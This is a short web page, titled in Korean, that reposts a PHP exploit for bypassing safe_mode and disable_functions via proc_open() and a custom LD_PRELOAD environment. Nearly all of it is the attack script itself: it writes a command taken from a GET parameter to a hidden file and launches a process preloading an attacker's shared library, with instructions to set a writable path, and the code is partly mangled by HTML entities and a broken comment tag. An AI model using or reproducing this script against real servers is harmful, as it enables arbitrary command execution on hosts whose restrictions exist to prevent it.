PHP safe_mode 우회 proc_open() 및 사용자 정의 환경 exploit

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"),
2 =&gt; array("file", $path."/errors.txt", "a" )
); $cwd = '.'; $env = array('LD_PRELOAD' =&gt; $path."/a.so"); $process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;} fclose($a);
?&gt;;
</strong>